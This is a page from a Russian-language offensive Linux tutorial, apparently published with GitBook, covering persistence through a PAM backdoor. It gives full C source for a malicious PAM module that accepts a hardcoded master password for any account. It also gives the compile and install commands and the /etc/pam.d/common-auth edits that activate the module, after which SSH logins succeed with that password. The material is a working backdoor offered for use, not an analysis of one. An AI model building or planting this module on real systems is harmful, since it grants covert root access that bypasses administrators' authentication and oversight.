🍻
Linux under attack
  • ΠŸΡ€Π΅Π΄ΠΈΡΠ»ΠΎΠ²ΠΈΠ΅
  • ОглавлСниС
  • ΠžΠΊΡ€ΡƒΠΆΠ½ΠΈΠ΅
  • Recon
    • 00 - Info
    • 01 - ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹Π΅ источники
  • SCAN
    • 00 - Info
    • 01 - Π‘ΠΊΠ°Π½ nmap
    • 02 - Π‘ΠΊΠ°Π½ срСдствами OC
    • 03 - ΠžΠ±Ρ„ΡƒΡΠΊΠ°Ρ†ΠΈΡ IP
    • 04 - Π‘ΠΊΠ°Π½ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΉ сайта
    • 05 - CΠΊΠ°Π½ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ²
    • 06 - Π‘ΠΊΠ°Π½ WordPress
  • Vulnerability Analysis
    • 00 - Анализ
  • Exploitation
    • 00 - Info
    • 01 - BruteForce
    • 02 - Local Enumeration
  • Privilege Escalation
    • 00 -Info
    • 01 - Π›ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚Ρ‹
    • 02 - Crack hash
    • 03 - Misconfig
    • 04 - Kernel exploits
  • PERSISTENCE
    • 00 - info
    • 01 - SSH Keys
    • 02 - ПсСвдоROOT Π°ΠΊΠΊΠ°ΡƒΠ½Ρ‚
    • 03 - bashrc
    • 04 - Cron Jobs
    • 05 - Systemd
    • 06 - Systemd Timers
    • 07 - rc.local
    • 08 - MOTD
    • 09 - APT
    • 10 - Git hook
    • 11 - Git config
    • 12 - PAM backdoor
  • Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅
Powered by GitBook
On this page
  1. PERSISTENCE

12 - PAM backdoor

PAM - Pluggable Authentication Modules, гибкая систСма для ΠΈΠ½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² UNIX-ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… систСмах, ΠΏΡ€ΠΈΠ²Π΅Ρ‚ Sun Microsystems. И Π΅ΡΡ‚ΡŒ ΠΎΠ½Π° ΠΏΠΎΡ‡Ρ‚ΠΈ Π²Π΅Π·Π΄Π΅ Π² Linux ΠΈ UNIX-ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… систСмах. ΠšΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡ PAM осущСствляСтся Ρ‡Π΅Ρ€Π΅Π· Ρ„Π°ΠΉΠ»Ρ‹, располоТСнныС Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ /etc/pam.d/ Π’Π°ΠΌ ΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€Π°Π²ΠΈΠ»Π° для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… сСрвисов (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: login, ssh, su, sudo). Плюс PAM управляСт Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠ΅ΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: auth, account, password, session). Π—Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Ссли Ρƒ PAM Ρ‚Π°ΠΊΠΈΠ΅ возмоТности, Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ свой ΠΌΠΎΠ΄ΡƒΠ»ΡŒ PAM, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π₯Π°Ρ€Π΄ΠšΠΎΠ΄Π΅Π½ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ root ΠΏΠ°Ρ€ΠΎΠ»ΡŒ. Π’ΠΎ Π΅ΡΡ‚ΡŒ Ρƒ Ρ€ΡƒΡ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ 2 пароля, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ - Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½Ρ‹ΠΉ установлСнный Π°Π΄ΠΌΠΈΠ½ΠΎΠΌ ΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠΉ - наш, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ хранится Π²ΠΎ врСдоносном PAM ΠΌΠΎΠ΄ΡƒΠ»Π΅. НС Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹ Π² ваш дистрибутив для сборки модуля, для debian это: libpam0g-dev

// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π½Π° БИ  backdoor.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
 
#define MYPASSWD "doom001"
 
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
 
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
 
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,int argc, const char **argv) {
char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);
 
if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
return PAM_SUCCESS;
 
return -1;
}
// ΠšΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΠ΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΈ пСрСносим Π² ΠΏΠ°ΠΏΠΊΡƒ с ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ модулями (ΠΏΡƒΡ‚ΠΈ ΠΌΠΎΠ³Ρƒ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ)
gcc -shared -fPIC -ldl -o backdoor.so backdoor.c
mv backdoor.so /lib/x86_64-linux-gnu/security/
// Π˜Ρ‰Π΅ΠΌ строку Π² /etc/pam.d/common-auth
auth    [success=1 default=ignore]  <имя модуля> 
// ΠΈ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΠΌ Π΅Π΅ ΠΊ Π²ΠΈΠ΄Ρƒ:
auth	sufficient	<имя модуля>    


// И ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ строкой дописываСм наш ΠΌΠΎΠ΄ΡƒΠ»ΡŒ
auth	sufficient	backdoor.so

Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΈ Π»ΠΎΠ³ΠΈΠ½Π΅ ΠΏΠΎ SSH нас Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ с ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΌ doom001

Previous11 - Git configNextΠ—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅

Last updated 1 year ago